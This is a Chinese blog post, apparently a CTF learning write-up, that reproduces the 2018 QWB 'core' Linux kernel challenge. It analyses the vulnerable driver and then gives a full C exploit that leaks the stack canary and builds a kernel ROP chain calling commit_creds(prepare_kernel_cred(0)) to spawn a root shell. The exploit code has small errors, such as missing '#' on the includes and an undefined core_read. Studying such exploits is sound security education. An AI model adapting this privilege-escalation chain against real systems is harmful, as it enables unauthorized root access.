Kernel rop attack 2018QWBcore复现

原创

Azly 于 2021-08-28 09:09:48 发布 113 收藏
分类专栏： CTF PWN kernel 文章标签： 系统安全 安全架构 安全

前言：最近刚入手内核题，所以这里跟着ctfwiki进行学习下，大佬勿喷。。。

第一步很经典。。。如果题目没有给 vmlinux，可以通过 extract-vmlinux 提取。

看到start.sh发现开启了kalsr随机化，需要进行泄露计算基地址，这里跟用户态pwn题很相似

看下init：

```
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_k
第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地址了，但第 9 行已经把其中的信息保存到了一个t
第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了
第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包
```

checksec看下驱动保护：

```
[*] '/home/roo/Desktop/maxbosctf/QWBcore2018/give_to_player/tmp/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
```

开启了Canary found，需要泄露canary

将core.ko拖到IDA里进行逆向分析

	init_module() 注册了 /proc/core
	__int64 init_module()
	{
	core_proc = proc_create("core", 438LL, 0LL, &core_fops);
	printk("\x016core: created /proc/core entry\n");
	return 0LL;

```
}
```

exit_core() 删除 /proc/core

```
__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");
return result;
}
```

exit_core() 删除 /proc/core

```
__int64 exit_core()
{
__int64 result; // rax

if ( core_proc )
result = remove_proc_entry("core");
return result;
}
```

core_ioctl() 定义了三条命令，分别调用 core_read()，core_copy_func() 和设置全局变量 off

```
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B:
core_read(a3);
break;
case 0x6677889C:
printk("\x016core: %d\n");
```

```
off = a3;
break;
case 0x6677889A:
printk("\x016core: called core_copy\n");
core_copy_func(a3);
break;
}
core_copy_func(v3);
}
```

core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 使我们能够控制的，因此可以合理的控制 off 来 leak canary 和一些地址

```
void __fastcall core_read(__int64 a1)
{
__int64 v1; // rbx
char *v2; // rdi
signed __int64 i; // rcx
char v4[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v5; // [rsp+40h] [rbp-10h]

v1 = a1;
v5 = __readgsqword(0x28u);
printk("\x016core: called core_read\n");
printk("\x016%d %p\n");
v2 = v4;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v4, "Welcome to the QWB CTF challenge.\n");
```

```
if ( copy_to_user(v1, &v4[off], 64LL) )
__asm { swapgs }
}
```

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此如果控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了

```
void __fastcall core_copy_func(signed __int64 a1)
{
char v1[64]; // [rsp+0h] [rbp-50h]
unsigned __int64 v2; // [rsp+40h] [rbp-10h]

v2 = __readgsqword(0x28u);
printk("\x016core: called core_writen");
if ( a1 > 63 )
printk("\x016Detect Overflow");
else
qmemcpy(v1, name, (unsigned __int16)a1); // overflow
}
```

core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了

```
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx

v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}.
```

经过如上的分析，可以得出以下的思路：

通过 ioctl 设置 off，然后通过 core_read() leak 出 canary
通过 core_write() 向 name 写，构造 ropchain
通过 core_copy_func() 从 name 向局部变量上写，通过设置合理的长度和 canary 进行 rop
通过 rop 执行 commit_creds(prepare_kernel_cred(0))
返回用户态，通过 system("/bin/sh") 等起 shell

	如何获得 commit_creds()，prepare_kernel_cred() 的地址？
	/tmp/kallsyms 中保存了这些地址，可以直接读取，同时根据偏移固定也能确定 gadgets 的地址
	如何返回用户态？
	swapgs; iretq，之前说过需要设置 cs, rflags 等信息，可以写一个函数保存这些信息

exp：

```
include <string.h>
include <stdio.h>
include <stdlib.h>
include <unistd.h>
include <fcntl.h>
include <sys/stat.h>
include <sys/types.h>
include <sys/ioctl.h>
void spawn_shell()
{
if(!getuid())
{
    system("/bin/sh");
}
else
{
    puts("[*]spawn shell error!");
}
exit(0);

}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/*

give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
   Arch:     amd64-64-little
   RELRO:    No RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      No PIE (0x0)

*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
```

```
FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
/* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

if(kallsyms_fd < 0)
{
    puts("[*]open kallsyms error!");
    exit(0);
}

char buf[0x30] = {0};
while(fgets(buf, 0x30, kallsyms_fd))
{
    if(commit_creds & prepare_kernel_cred)
        return 0;

    if(strstr(buf, "commit_creds") && !commit_creds)
    {
        /* puts(buf); */
        char hex[20] = {0};
        strncpy(hex, buf, 16);
        /* printf("hex: %s\n", hex); */
        sscanf(hex, "%llx", &commit_creds);
        printf("commit_creds addr: %p\n", commit_creds);
        /*
         * give_to_player [master●●] bpython
            bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
            >>> from pwn import *
            >>> vmlinux = ELF("./vmlinux")
            [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
                Arch:     amd64-64-little
                RELRO:    No RELRO
                Stack:    Canary found
                NX:       NX disabled
                PIE:      No PIE (0xffffffff81000000)
                RWX:      Has RWX segments
            >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
            '0x9c8e0'
        */
        vmlinux_base = commit_creds - 0x9c8e0;
        printf("vmlinux_base addr: %p\n", vmlinux_base);
    }

    if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
    {
        /* puts(buf); */
        char hex[20] = {0};
        strncpy(hex, buf, 16);
        sscanf(hex, "%llx", &prepare_kernel_cred);
        printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
        vmlinux_base = prepare_kernel_cred - 0x9cce0;
        /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
    }
}

if(!(prepare_kernel_cred & commit_creds))
{
    puts("[*]Error!");
    exit(0);
}
```

```
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{


__asm__("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        );
puts("[*]status has been saved.");

}

void set_off(int fd, long long idx)
{
printf("[*]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);

}

void core_copy_func(int fd, long long size)
{
printf("[*]copy from user with size: %ld\n", size);
ioctl(fd, 0x6677889A, size);
}

int main()
{
save_status();
int fd = open("/proc/core", 2);
if(fd < 0)
{
    puts("[*]open /proc/core error!");
    exit(0);
}

find_symbols();
// gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
ssize_t offset = vmlinux_base - raw_vmlinux_base;

set_off(fd, 0x40);

char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *)buf)[0];
printf("[+]canary: %p\n", canary);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 10; i++)
{
    rop[i] = canary;
}
```

```
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell;         // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x800);
core_copy_func(fd, 0xffffffffffff0000 | (0x100));

return 0;
}
```

编译一下：
gcc exploit.c -static -masm=intel -g -o exploit
1.因为需要返回用户态,故利用save_status函数保存了cs、rsp、ss、rflags的寄存器值
2.由于开启了kaslr,从/tmp/kallsyms中读取commit_creds,prepare_kernel_cred的地址,由函数find_symbols实现,并计算出程序基址
3.core_read,core_copy_func,set_off三个函数实现了驱动的必要功能,spawn_shell用于返回用户态时getshell

	rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
	rop[i++] = 0;
	rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
	rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
	rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
	rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
	rop[i++] = commit_creds;

首先执行了prepare_kernel_cred(0),返回值交予rax寄存器,继而将rax交予rdi并执行commit_creds,成功将用户权限提升到root
由于call指令会将调用函数的下一行的RIP压入栈中,而此gadget又没有ret指令,故将rdx中存入一段gadget将原RIP放入通用寄存器中,并返回到commit_creds指针处，手动设置下

	rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret

	rop[i++] = 0;
	rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
	rop[i++] = (size_t)spawn_shell; // rip
	rop[i++] = user_cs;
	rop[i++] = user_rflags;
	rop[i++] = user_sp;
	rop[i++] = user_ss;

总结：学到了内核rop的技术，希望继续进步。。